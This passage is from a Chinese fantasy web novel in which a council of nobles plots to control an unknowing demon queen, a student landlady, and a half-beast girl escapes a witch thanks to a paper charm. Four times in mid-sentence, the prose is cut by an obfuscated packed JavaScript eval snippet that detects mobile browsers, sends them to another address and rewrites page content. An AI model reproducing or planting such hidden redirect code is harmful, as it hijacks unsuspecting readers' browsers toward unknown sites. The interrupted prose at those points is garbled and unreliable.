“你不会期待着魔龙带着你们打败贵族院，然后重新建立魔族的秩序吧？如果是这样，那我想他在睡梦中也一定会觉得压力不小。” 罗德里斯尚存于世的消息让文森特也有所动容，但他没有乌鸦那么大的反应，这或许就是年龄和阅历（尽管他长期生活在监狱中）带来的优势吧。 他显然也站在不要轻举妄动的立场上，并试图劝说自己的同族打消一些不切实际的主意，而他的话比妮娜所说要痛彻得多。 “三百年前，先代魔王战死，生命之树的树冠被砍去，从那个时候开始，魔族其实就再也没有复兴的希望了。没有魔王，就不可能再建立什么魔族的秩序。” 乌鸦抿了一下嘴唇，同时垂下眼睑：“我明白的。但我和你不同。外面的生活可比监狱里要难多了。” 这话让文森特哑口无言。 当天晚上，大家各自回屋的时候，氛围多少有些尴尬。 文森特想要了解一下视频发布后的反响，但是看到乌鸦那张郁郁寡欢的脸后，也不好意思多说什么。 妮娜不知该不该因此感到庆幸，因为《忏悔录》的反响比她预设的还要小。 现在她更忧心的是乌鸦不像是那种能被轻易劝住的女孩，即使在表面上作出让步，也保不准会偷偷跑出去确认罗德里斯的结界是否存在。 她回到自己的房间，找来一张白纸，在白纸正中一小块矩形的区域内写了几个字，然后将纸折了起来，折成一个长方形的纸包。 这种护身符这是她上中学时在女生之间流行过的东西。 制作方法说不上太简单，但也不能称之为繁琐。 在纸张中间写下想要祈愿的文字，然后折成一个四方形的纸包，写有文字的一面会被折进里面，再将纸包放进尺寸合适的布袋里，或是塑封起来，最后用线穿好，就可以挂在背包上或手机上了。 据说想要获得一个灵验的护身符，就要根据祈愿内容寻找相应的题字人。 比如祈祷学业进步，就会让班级里成绩最好的学生题字，祈祷事业有成，自然要找身边的成功人士留言，祈求驾驶安全则大概率会去找交警帮忙——当时班上有个货车司机的女儿就干过这样的事…… 如果由房东来题字的话，妮娜想了想，或许会有保佑出入平安的效果。 房间的门被咚咚敲响。 时机太过突然，妮娜写歪了笔画。 她应了一声，门便开了，薇薇安的脑袋迫不及待地从外面挤了进来：“斯特尔女士，重大消息！重大消息！！！” 她眼睛睁得老大，里面闪烁着兴奋的神采。 《忏悔录》在发布后，虽然获得了一两条赞誉的评价，但完全没有掀起水花。 然而就在刚才，有一名用户给这支视频打赏了等价十万卡什的“超时空星舰集群”，让这支视频迅速登顶乐飞首页，引发轰动，大批不明真相的用户前来围观。 [发生了什么？] [不明觉厉。] [这是戳中哪位土豪的叉癖了？] [好多钱啊……] [挺有意思的视频，就是这个打赏太吊诡了。] [监管部门来查一下啊，是不是在洗钱？] [up不是在参加创业大赛嘛，会不会是赞助者或者投资人爸爸？] [霸道总裁看上女大学生？] [就我一个觉得大巫妖先生演技超棒的吗？] [狱警先生也很帅！！！无头乌鸦！！！] [梗图素材预定。] 在极短的时间内，《忏悔录》的热度就超过了《被横刀夺爱》，除了成为乐飞的今日话题，在其他社交平台上也引起了热议。 虽然那些议论完全和创作团队的初衷无关，但由此带来的流量让人感到欣慰。 妮娜立马将这笔巨款提到了银行账户上，好落袋为安。 钱虽然已经到手了，但她仍觉得提心吊胆。 《忏悔录》在表现手法和艺术风格上的确有突出之处，但也没有精妙到能让人一掷千金。 这天降的大额打赏太过莫名其妙，很难让人不去联想其背后的阴谋。 * 阿斯代伦走进圆桌会议室的时候，发现里面已经有了先客。 她正在全神贯注地盯着面前的显示屏，外界的声音也被她塞在耳朵里的耳机给屏蔽掉了。 因此阿斯代伦轻而易举地就绕到了她的身后，看到了屏幕上的画面。 “你这是在做什么？给敌人送军费吗？” 兰登显然被吓了一跳，她一边拿掉耳机，一边将脑袋转到身后：“你从什么时候开始站在那里的？” 阿斯代伦露出一个有着威胁意味的笑容：“大概是在你按下打赏按钮的时候。没想到你会喜欢这种阴暗的内容。” 屏幕上，黑色的影子站在空寂的白色之中，两个白洞般的眼睛直勾勾地望着屏幕之外的观众，脸上没有任何表情，却又像汇聚了无数种表情。 兰登松开鼠标，用怪责的眼神看着同僚：“阿斯代伦，我们已经共事了三百年，知道彼此的秘密，分享彼此的罪恶，可我们又对真正的彼此一无所知。” “没想到你在意的是这个。我更想听听你对刚才那个行为的解释。”阿斯代伦说。 兰登耸耸肩：“作为一个观众，我从这个视频中感受到了触动，我只是想要表达自己的感谢。” “一个超时空星舰集群？” 《忏悔录》已经播放完毕，页面自动导入了下一个视频。 “我们身边明明生活着很多魔族，可奇怪的是我们竟对他们一无所知。是法律禁止我们进行探究，还是他们拒绝向我们敞开心扉，又或者是我们从来也没有想要去了解他们……” 经过合成处理的年轻女性的声音从扬声器中流淌出来。 阿斯代伦静静地听了一会儿，说道：“是啊，为什么人类拒绝了解？即使是对那些注定要成为食料的动物，他们都会不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12924278|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 遗余力地进行研究，为什么人类从没有想过要去了解身边的魔物们呢？” 兰登忽然觉得他似乎在影射自己刚才的叹息，她侧着脑袋，思考了片刻，然后说道：“贝尔霍特向我们征求意见的时候，你是第一个表示通过的。” 阿斯代伦说：“你是第二个。” 兰登报复似的看了他一眼，说：“让我猜猜，这些支持者的列表里有没有你的账号。” 阿斯代伦举起了双手，表示投降，但脸上的表情却不是那么回事：“别想拖我下水，我可没你那么感性。如果贵族院里净是像你这样的人，即使是战后出生的那些新魔族，也能轻而易举地将这里夷为平地。” “我分得清轻重缓急。我不会将对异族的怜悯置于确保贵族院的安危之上。你难道觉得我会因为出于对魔族的同情而加入到他们之中？阿斯代伦，我们终究是人类。”兰登说。 “人类？”阿斯代伦的语气有些讽刺，“你觉得那些平民百姓在知道我们到底是什么样的存在之后，还能毫无芥蒂地将我们当做他们的同类吗？” “我们是人类，这毋庸置疑。”兰登的语气十分肯定。 阿斯代伦的眼中闪过一丝失望。 这时候，会议室迎来了第三名访客。 “你们在聊什么？生存还是毁灭的话题吗？”韦斯特尔拄着一根拐杖走到了兰登正对面的座位上。 兰登尽量将自己的视线避开，却还是借着余光看到了漂浮在空气中的黑色波粒，那些粒子像是在反驳她刚才的那句发言一般，耀武扬威地晃来晃去。 “没什么，完全是一些无聊的内容，你不会感兴趣的。” 韦斯特尔是七贵族中最早出现魔化征兆的人。 他体内的巫妖核心似乎正在将他慢慢吞噬，正试图将他从一个人类转变成真正的巫妖，他越来越没有实体感的身躯就是最好的证明。 不过这种性状自出现至今已经有两百多年，韦斯特尔至少仍能保持着更接近人类的形态。核心对他的侵蚀似乎早就在某个时间停止了。 兰登回忆起韦斯特尔身上刚出现异样时发生的事，一种不用言说的恐惧在他们七个人中悄然扩散，他们担心自己体内的魔物核心最终会将他们变成真正的怪物。 当时，只有上一代大狮鹫核心的拥有者洛伦诺明确表示自己要放弃核心，其他所有人，包括兰登自己，都选择了在“魔化”的恐惧下继续持有那些东西。 布劳斯甚至明确表示，就算身体真的变成魔物也无所谓，他不能放弃核心带来的力量与权能。 最后的结局是洛伦诺放弃了核心，以完全的人类身份迎接死亡，大狮鹫的核心被她的弟弟波诺继承——这是七贵族成立至今唯一的一例代际交换。 剩下的人中，除了韦斯特尔初步出现魔化迹象，其他核心持有者至今仍保持着完全的人类样貌，而韦斯特尔身上的魔化也已经得到遏制。 如此一来，倒显得洛伦诺的决定有些冲动和愚蠢了。 20. 出入平安 在韦斯特尔到来之后，其余几位贵族院成员也陆陆续续进入了会议室。 今天是召开圆桌会议的日子，而议题毫无意外，仍与魔王有关。 先到的六个人已经在各自的位置上落座，或是在查看自己的电脑及手机设备，或是单手支着脑袋默默发呆。 向来缺乏耐心的布劳斯抱怨了一句：“贝尔霍特今天怎么迟到了？他不是向来都很积极的吗？” 会议室的门终于再次被打开，身穿制服的青年从门外的那束光线中走到了室内，灯光在他脸上形成的橙色光斑瞬间消失无踪。 “好吧，现在人都到齐了，可以继续讨论我们的过家家游戏了。”布劳斯说。 贝尔霍特脸色阴沉地走到了自己的座位上，会议室内的光线不佳，大多数人都没有发现这一细节，但这终究没能逃过兰登的眼睛——或许是因为她体内的暗夜核心对她的身体造成了某种影响，她有着无与伦比的夜视能力。 “贝尔霍特，你的手怎么了？”除了黯淡的脸色，兰登还注意到这位同僚今天的另一个不同之处。 他戴着手套。 虽然白色手套和他身上的制服很搭，但他以前从来没有戴过这玩意儿，除了打仗的时候。 贝尔霍特没有理会兰登的关心，他不以为意地看了一眼自己的手：“不是挺好看的？” 兰登意识到自己不能多问。可她只是想关心一下同伴而已。 无论如何，会议很快就进入了正题，恐怕除了兰登之外，没有人喜欢这种聚在一起的氛围。 而且谁又能想到，作为一国政治中枢的贵族院，居然会一本正经地把大学生创业项目放到议事日程上。 “你们说这会是魔王与生俱来的领袖天赋吗？不得不说，她给自己的事业开了一个好头。”波诺像是打趣般说道，“看看项目履历，她已经拥有了两只魅魔，一只大巫妖，还有一只半兽人，哦半兽人，是我该管辖的对象。” “你的意思是，我还得去监视那只愚蠢的影子怪物，然后让蒂德莉天天盯着两只没羞没臊的□魔吗？”韦斯特尔表示不满，并使用了一个不雅的词汇。 蒂德莉纠正道：“是魅魔。” “你们知道的，不管她手下聚集多少魔物，对我们来说都构不成威胁，但这有一个前提——千万不要让她发现自己的身份。”兰登说。 “可就算她自己一无所知，难道她身边的那些魔族就不会发现不对劲吗？无论是有意还是无意，只要有所交流，就难免遇到一些指令或类指令的语言，被派去学校的魔女已经证明了这一点。”阿斯代伦说，“工蜂不可能认不出自己的女王。” 韦斯特尔盯着斜对面的同僚：“当初是你毫不犹豫地通过了提案，现在才来讨论风险是不是已经晚了？” 阿斯代伦摊开手：“如果不是大家一致通过，我一个人的意见怎么算得了数？” “不要在这里表演踢皮球，”贝尔霍特锁紧了眉头，“我们就不能让讨论变得更有效益一点吗？来想个办法，不着痕迹地将这个项目给抹消掉。” “也不想想是谁把她逼上这条路的？”阿斯代伦冷笑了一下，“如果当初让她得偿所愿地去学习魔法，她如今就能够在魔法工厂找到一个稳定的工作，既更加方便我们的管控，也可以阻止她接触社会上那些游荡的魔族。” “——你们越是把她逼上她不想走的路，最后出现的反而是你们不想看到的结局。回旋镖扎到身上，你们才会感到痛。” 阿斯代伦无疑是在拱火，而布劳斯不出意料地接下了他的挑衅：“我看明明是你有所图谋，之前那个监视者是你派去的，可看看最后他都干了些什么？” “给她找了件事做，免得她走投无路。”阿斯代伦笑着说，“你们又不愿意给她提供工作，她也是要吃饭的。给她找点事做绝对比让她当一颗不知何时会爆发的定时炸弹好。” “你——”布劳斯拍了一下桌子。他是巨魔核心的持有者，虽然并没有长成那种皮糙肉厚的魔物样子，但在获得核心之后，他的力量显然提升了很多。 波诺看了一眼桌面：“……幸好后来我们选择了更坚固的材料。” 眼看讨论就要演变为争执，蒂德莉当机立断插了一嘴：“阿斯代伦说的没错，我们不能把事情做得太绝。如果不够放心，我们可以干预创业大赛，以便控制事情发展的方向——” 她的声音不大，甚至有点过于轻柔，但是让那些想要谈论正事的人终于得到了一个机会。 “具体说说。”兰登立刻问道。 那些多余的争执终于停止了。 蒂德莉点了点头，继续道：“我研究了一下比赛的赛程，计划在第二阶段引入‘导师制度’，并以导师的身份加入到比赛当中，这样就能更直接地了解到她打算做些什么，也能避免她在之后又做出些不受控制的事情来。” 控制，这是自那位新魔王诞生以来贵族院一直对她采取的策略——必须完全让她活在他们的掌控之中，但又不能离他们太近。 这就不得不说到身为人类的他们持有大贵族核心的最大弊端。 他们在获得了所领分支所有魔物控制权的同时，也被纳入了魔族绝对王权的统治之下。 这是绝对的机密：在魔王面前，他们只能成为不受自己意志左右的魔族忠仆。 如果魔王知道了这其中的关键，那么打倒贵族院对她来说将会是不费吹灰之力的事情，让魔族彻底翻身，成为凌家于人类之上的阶级也可以说轻而易举。 可他们又必须保护好这个极端危险的存在。 生命之树的树冠已经被摧毁，再也不会有魔王之卵从树上诞生。 世界上的最后一位魔王，既维系着七贵族对魔族的统治权能，也是魔法存在与发展的根基。 将她牢牢地、远远地控制住，这几乎是他们必须也唯一能够采取的方案。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12924279|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个建议的方向是正确的。 “我们非得掺和到这种幼稚的比赛里去吗？” “还是说我们已经缺人到要纡尊降贵地亲自去当这个监视者？” 韦斯特尔和贝尔霍特一唱一和。 “你们随意，不过我愿意出这个力气，也愿意冒这个风险。”蒂德莉态度坚决。 波诺举起右手：“我可以配合，偶尔了解一下现在的大学生都在做什么也挺好的。” 圆桌会议最后通过了蒂德莉的提议，并对其进行了一番各抒己见的改进和完善。 * 乌鸦在恢复自由行动的能力后便搬离了临时病房，并最终选择了101室的对间，也就是102室作为自己的居所。她喜欢临街的房间。 这番小小的挪腾让她隐约意识到房东小姐的非凡之处，她为她提供了一间几乎完美符合她喜好的小屋。 她喜欢这种狭小又逼仄的空间，能让她获得一种充实感，她喜欢这些风格古朴的木质家具，淡淡的原木香味让她感到宁静，她也喜欢那盏与这个狭窄空间完全不搭的水晶大吊灯。 她喜欢光线在那些透明矿物之间的反射与折射，然后在墙壁上留下七种颜色的影子。 这些匪夷所思的组合能恰如其分地出现在她的房间，这还只是怪事之一，另一件怪事则是她刚来这里时暂住的那间病房不知何时便消失无踪了。 起初她以为是自己记错了房间的位置，但等到她将一楼的每一个房间都查看一遍之后，她即确认，病房确实不存在。 她试图向房东女士询问，对方干笑着把问题搪塞了过去，并往她手里塞了一件四角尖尖的玩意儿。 “出入平安的护身符。”她解释道。 乌鸦觉得房东女士恐怕已经看穿了自己的心思。她和乌瑟就是一对麻烦兄妹，两个人对惹上麻烦一事早就习以为常，不同的是乌瑟总是被动卷入麻烦，而她则是主动找来麻烦。 手臂，或者说翅膀上的伤已经没有什么大碍了，说不上已经痊愈，但是不会影响奔跑和飞行。 她趁着房东不在家的日子跑到了街上。 她从楼上的魅魔那儿借了一顶假发，仅此一个改动，就让她看起来完全变了一个人，只要不露出翅膀，她看起来完全就是一个人类。 不会有问题的。 只要让她看一眼，看一眼传说中的巨龙罗德里斯是否安在。 她非常明白这是一场愚蠢的大冒险，但冒险似乎是她的天性。所以她非常感激房东给她的小玩意儿。 她没有上过大学，不过高中以及之前的基础教育课程，她有幸在乌瑟（或者确切点说，他背后的某位贵族）的安排下，伪装成人类，在人类的学校接受教育，并在那个时期交过几个人类朋友。她们之间也曾经玩过这种制作护身符的游戏。 她不是个迷信的人，但也总觉得那东西或许真的有什么用处也说不定。 21. 发件地址 王都的新城一直在向北扩张，旧城靠南，是几百年前人类到这片土地上定居时最初建立聚落和城邦的地方，现在已经落寞了，成了鱼龙混杂的地方。 此前发生事件的那处近郊则位于旧城再往南的区域，被一堵高达三十米的巨墙与城市隔离开来。 修建城墙的时候，人类还没有如此全面地开发出魔法的力量，当时耗费了很多人力物力。但现在想来，这座墙说不定就是为了防御巨龙而修建的。 巨龙体型庞大，生有双翼，但是无法飞行。三十米，刚好能将巨龙完全拦在外面。 在穿过那座巨大城门的瞬间，半兽少女满心的冲动和激情突然消退，站在仿佛无边无际的林海边缘，整个人不寒而栗。 接近兽类的本能让她很快就理解了，这种恐惧来自于强大魔法的震慑——是事发当时那个毁灭性魔法的余波。即使有结界阻隔，即使已经过了这么多天，但它力量的余温依旧没有消散。 在这种震慑中，她像是被人从头浇了一盆冷水——她无法想象要多么坚固的防御结界才能抵抗如此强大的破坏魔法。就算罗德里斯大人曾经在那座地底迷宫沉睡过，他真的能扛过那波毫无容赦的攻击吗？ 林间的树叶突然簌簌地抖动起来。 一个身材打扮都酷似她兄弟的黑色影子自树冠丛中出现。 “我就说怎么闻到了一股臭味，原来是一只小杂种。”穿着黑色外套的魔女冷笑着说道。 自己绝对打不过一个解除封印的魔女——乌鸦对这件事心知肚明。 如果说成年期的兽人拥有与禁锢状态的魔女一搏的实力，那么亚成体的兽人在全解放的魔女面前则完全是被碾压的状态。 对方动动手指就能让这只羽翼尚未丰满的鸟儿化作灰烬。 只有逃跑这一条路。 乌鸦没有犹豫，立刻展开羽翼，打算以最快的速度从这名魔女眼前消失。 她这一族向来以速度见长，这也是她总敢往麻烦堆里跑的原因——一旦遇上无法对付的敌人，她会第一时间溜之大吉。 这儿离城门不远，只要能一口气逃进城内，魔女的力量就会被大幅削弱。这都得益于七贵族对整座城市张开的巨大结界魔法。 名义上这张结界是为了防止魔女在失控时会伤害市民，但乌鸦清楚，即便是处于禁锢状态，也只意味着他们无法使用自身的魔法，但他们异于常人的身体素质依然能让他们轻松化为杀人机器。 这张结界不是为了保护市民，而是七贵族担心有一天他们会无法控制那些魔女。 对这一认识的掌握也是乌鸦会遭到追捕的原因之一。不过至少在此时此刻，她倒是非常感谢这张可笑的结界。 就在闯入城门前的最后一个冲刺时，身后突然传来一阵啸声。 她机敏地闪避了一下，躲开了魔女释放的魔法弹。 风中夹杂着一个轻蔑的笑声。 乌鸦猛地僵住了。 离结界回路只剩下一米，她被一张巨大的魔法网给束缚住了，就像被粘在蛛网上的飞虫一样。 她这才反应过来，刚才魔女释放的根本就不是什么魔法弹，而是这张巨网的锚点。 “遇上我一定是你的幸运，”魔女的声音在身后响起，“我特别喜欢食用禽类。” 乌鸦能从自己陡然倒竖的寒毛中感受到其脚步的逼近。然而她的后背毫无防备，且身体又动弹不得，只能任人宰割。 “你放心，我会捉活的。”魔女的语气听起来非常快活，“毕竟无论什么都是新鲜的更好吃。” 听到这句话，乌鸦不再试图挣扎。只要没有在这里被当场杀死，她就可以在进城之后想办法中途逃跑，她早就已经对这种游戏模式驾轻就熟。 “我猜你一定在盘算逃跑的事。” 大约还有三米。两米。一米。 无形的本能让她仿佛能看见魔女正对她的后颈伸出手臂。 滋…… 空气中好像有一道细微的电流蹿过。 接着，她听到了几个类似摔炮作响的声音，再然后是一个沙包从天而降砸到地上般的声音。魔法网骤然消失。 她从半空掉了下来。 她完全不知道刚才发生了什么，回过头去看到的时候，只能看到林海一角无中生有地多出了一条通路，而哪里都看不到魔女的影子了。 是陷阱，还是意外？ 就在这时，她看到了掉在地上的纸片，是在她被魔法网抓住的时候震落的护身符，在好几个外力的作用下，原本包折起来的四个方角已经松散了，无法呈现之前那种紧凑的形态。 “什么啊……做得也太随便了吧。”她嘟囔了一句，但还是小心地将那已经无法被视为护身符的纸张捡了起来。 这也是制作过护身符的学生们共同信奉的一条规则——纸上的符文在折起的瞬间起效，一旦散开，符纸即会失效，变为废纸。 然而这张废纸中心的几个小字让她呆愣在原地。 那上面写的并不是她所以为的“出入平安”，而是…… 魔女退散 她猛地抬头，再次看向林海中那条导弹飞驰而过一般的通道。 难道真的是这个护身符产生了作用？ 这怎么可能？如果这种迷信的小玩意儿真有那么厉害的效果，那些价格高昂的护身魔法早就没有销路了。 那又要如何解释那个魔女的突然消失呢？ 贵族院的紧急召集——这似乎是唯一说得通的可能性。 乌鸦将纸张叠了三叠，塞进口袋。无论如何，今天是无法见到罗德里斯了。 不光是今天，恐怕今后也很难见到。 只要贵族院不打算撤走驻守近郊的魔女们，她永远也没法接近传闻中罗德里斯的藏身之处。 妮娜和文森特是对的，她不该轻举妄动。今天完全是她走了大运。 不过关于她的新房东，她认为自己的确要好好了解一下。 乌瑟给她的留言提到，魔女们不敢轻易去罗德里斯公寓找麻烦。 现在想来，这显然是因为那儿的房东有什么特别之处。 她仰起脑袋，在空气中搜寻起妮娜·斯特尔的气味。 * …… 我在此前已经多次提到过魔界大贵族的事情，但似乎从来没有系统 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12924280|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地介绍过他们的具体身份，是时候做一份简单的概述了。 首先是最著名的一位，魔龙。他是所有龙类的领袖。龙被公认为魔族中的强者，而魔龙也被认为是大贵族中最强的一位。如今的魔龙名为罗德里斯，自继承魔龙核心以来据说已经有超过五百年的历史了，是先代魔王得力的左膀右臂。 接着是巫妖，统领大巫妖、小巫妖和深渊巫妖三个巫妖族群。听起来没什么了不起，但事实上管理深渊族绝非易事。巫妖核心的继承者总会比别人活得更辛苦一点。 大狮鹫，兽人之王。我所认识的那位大狮鹫女士有着非常美丽的人类姿态，但请相信她的原形更是美不胜收。那是一种神圣而有力的生物。 大巨魔，各种巨魔的领导者，在魔族之中是力气的象征。 死灵，骷髅、食尸鬼、丧尸、幽灵……他的管辖范围很广，除了天生的死灵之外，死后复苏为死灵的那些存在也统统归他管理。 暗夜，气质高贵的大贵族，其统治范围内最出名的种族就是暗夜精灵，这是暗夜的唯一正统，但也有很多由此衍生的种族，比如石像鬼。我听说很多人都以为石像鬼属于死灵那一支，实则不然。 接着是极乐鸟，不要以为这是兽人的一支，这其实是魅魔们的领袖，除了魅魔之外，羽人也是极乐鸟的下属——这一存在我只在古籍里见过。 第八位是幻灵，很多人会把他和死灵弄混，这不仅是名称的问题，更关键的是，他在人魔大战之前就已经销声匿迹了。 炼狱兽，元素类魔法的掌控者，和普通炼狱兽不同，继承了核心的炼狱兽拥有各种元素魔法的权能，被普遍认为是魔龙之下最强的一位大贵族。 最后是吸血之王，说实话，这个名称有些愚蠢，相信我，这一核心的继承者也往往是个蠢蛋，不用多说，他是所有血族的统治者。 …… ——《勇者笔记·第三卷·第四期》 新一期的《勇者笔记》按时被送到邮箱，妮娜第一时间就将它看了个遍——每一期的篇幅都不长，花几个课间的工夫就能读完。 这一期提到了一些有趣的内容，也许是从罗德里斯基地的毁灭事件中获得了灵感，看起来还挺像那么一回事的。 说到《勇者笔记》，这是妮娜在大学一年级时为了撰写课程论文而在某个不怎么有名的阅读网站上找到的杂志，里面记载了很多关于魔族的不为人知的事情。 它看上去像是个人编撰的科普性期刊，但鉴于很多内容无从查证，妮娜通常只把它当做一种趣味性读物，虽然从不对其内容照单全收，不过也在无意识中吸收了其中不少见解。 关于几位魔界大贵族的介绍，除了以前就有所提及的巫妖和大狮鹫，其他几位对妮娜来说都十分陌生，尤其是暗夜和幻灵，她从没见过这隶属于这两支的魔族生物。 “在这个节骨眼上提到罗德里斯吗……”她有些惆怅地自言自语道，顺手关闭文档。 屏幕显露出邮箱的页面，其中的一行字符让她握着鼠标的手陡然一震。 《勇者笔记》的发件地址。 它和罗德里斯基地的请帖来自同一个源头。 22. 阿斯代伦 在吸血鬼的书房里，妮娜已经证实了这个来源并不是她所以为的阅读网站，而是一个用星屑制造出的魔法匿名过的地址。一个阅读网站绝对不可能以如此高昂的成本发送匿名邮件。 她立马打开浏览器，登入她经常光顾的那个网站搜索勇者笔记——结果数量众多，不少创作者都喜欢借用勇者的噱头，但其中没有一个看起来和她订阅的杂志有半点实质性的关联。 叮叮。 一封新的邮件不早不晚地送抵她的邮箱。 【我想你现在一定在好奇《勇者笔记》到底是个什么来头吧？】 她忽然有种被监视的奇怪感受，但还是毫不犹豫地打开了这封邮件。 “也许你期待在这封邮件中获得答案？抱歉，我现在还不打算揭示谜底。如果让你空欢喜了一场，就请当做是我的一点小小任性吧。我发誓，这绝对不是我故意隐瞒什么，也不是在故弄玄虚，出于对你我的安全考虑，我不得不以这种麻烦的方式与你进行联络。当然，如果你想了解更多，我可以给你推荐一个人物，至于去不去找他，就看你自己的意愿了。” “圣灵图书馆，6号藏书区，K103.3，密码是P222第一行文字，阿斯代伦” 试问谁会有人把寻人地址定位在图书馆的一本书里？ 这个非同寻常的地址对一名充满好奇心的大学生来说是一个绝佳的诱饵，所以妮娜第一时间就赶到了圣灵图书馆，想要一探究竟。 圣灵图书馆和恩斯法内大学只隔了一个街区，从校舍出发步行不用二十分钟，更不用说这所著名的图书馆慷慨地对不少大学开放了优待，在校园内设置了直通馆区的专用传送阵，只要刷校园卡就能使用。 妮娜很快就找到了邮件提示的6号藏书区，以及标注为K103.3的书籍。 《一名勇者的出走与归来》 P222第一行文字： 妮娜小声地念了起来：“现的，他谨慎地固守阵地，冷眼注视着那条长长的东西，从它不怀好意的舌尖到——” 这就是第一行文字的全部内容。 她已经能够猜到，她即将拜访的是一座由魔法回路构筑的虚拟房间，打开房门的钥匙被设置成一个固定的地点和一段固定的文字。万幸这时候恰好没人借阅那本图书。 大概是空间移动产生了位觉的偏移，她短暂地感受到一阵眩晕。她努力睁大眼睛，因为在这个时候失去视野反而会加重不适，周围的景象在快速变化，但她不敢去细看——据说那样会增加被吸入不可知空间的风险。 不知道过了多久，身体的不适感终于消失了，附近的景象也固着了下来。这是一个仿佛有着比图书馆更丰富藏书的空间，主要是因为书本的密度非常大，除了几个缝隙一般的立足之地，其他所有一切都被书本填充得严严实实。 除了不计其数的书本之外，这个房间里看起来没有第二个人。 妮娜有些亢奋，又有些紧张。除了传送阵之外，这还是她第一次亲眼目睹和经历这种规模的空间魔法。但眼前的景象又让她担心自己有没有弄错目的地——如果魔法出现误差，导致她进入了不可知空间，那她可能永远也出不去了。 除非有人能从无数个随机的不可知空间里把她找出来。 妮娜可不认为自己认识的人里面有谁能做到这点，也不认为有人会因为自己的失踪而大动干戈地寻求高级魔法师的帮助。 “阿斯代伦，”她想起了邮件中的名字，“阿斯代伦，你在这里吗？” 她的双脚几乎被无所不在的书本固定在原地，她只能前后转动身体，用目光探索这里的一切。等她从后面转身向前的时候，她发现距离自己约莫三米开外的地方站着一个人。 他显然不是从远处走近的，而像是凭空出现在那里的一样。 妮娜被他吓了一跳，但很快又感到一阵莫名的安心。 “请问你就是阿斯代伦先生吗？” 阿斯代伦是一个男女通用的名字，不过眼前这个人明显是男性。他体型匀称修长，衣着高贵典雅，身上散发着某种令人熟悉的气息。 妮娜想起她曾经在吸血鬼身上感受到过这种气息，而且他银白色的头发和红色的眼睛也符合吸血鬼的基本特征。 也就是说……他不是一个人类。 “妮娜·斯特尔。”男性准确地叫出了她的名字，“初次见面，我就是阿斯代伦，你找我有什么事？” 这种意外的展开让当事人有些不知所措，她觉得自己仿佛被抢走了先机，更何况她对此次行动没有抱着明确的目的，她更像是受到了那封邮件的唆使前来探险的——就像当初去罗德里斯基地一样。 “你知道《勇者笔记》……是它的作者让我来这里的，他说，‘如果想了解更多’……” “那么，你想了解什么？”阿斯代伦直白地打断了她的语无伦次。 “你是《笔记》的作者，还是编辑？总之应该是相关的什么人吧？” “你没必要弄清这个。” “如果可以的话，请告诉我——呃，我很好奇。” 这个祈使句让阿斯代伦表情一僵，他皱起了眉毛，流露出不情愿的意思，但还是诚实地开口了：“‘那东西’的作者是我兄长。” “他是什么人？”妮娜对他称呼《勇者笔记》的方式感到意外。 “你没必要知道。” “请告诉我。” “……他是勇者。” 妮娜能感觉到阿斯代伦并不是一个性格随和的人，但奇怪的是，他似乎对祈使句没有招架之力。 “请告诉我”就像是一句魔咒，能让他乖乖吐露本想隐瞒的情报。 不过这个答案还真是过时。 “勇者” 再把时间倒推两百多年的话，这听上去还像是个靠谱的答案，但是这个年头，就连“冒险家”这样过于浪漫的名号都比“勇者”像样一点。 “听起来他是一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12924281|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 童心未泯的人。” 最后一波勇者的热潮应该已经随着《勇者斗魔王》终结篇的问世而日渐消退，只有十岁以内的小孩子才会在被问及日后的梦想时以勇者作为答案，而这种现象如今也已经很少见了。 “他既然是你的兄长，年纪应该已经不小了吧……”妮娜窥伺着阿斯代伦的面容，在心中暗自猜测他的年龄，似乎把20到40之间的任何一个数字套在他身上好像都说得过去，“可以告诉我你多大了吗？” 阿斯代伦的脸色越来越难看，但他还是作出了回答：“三百二十四岁。” 妮娜对这个数字表现出了应有的震惊：“我就觉得你不是人类！三百二十四……这么说来你也是一位原始魔族，你的兄弟当然也是。” 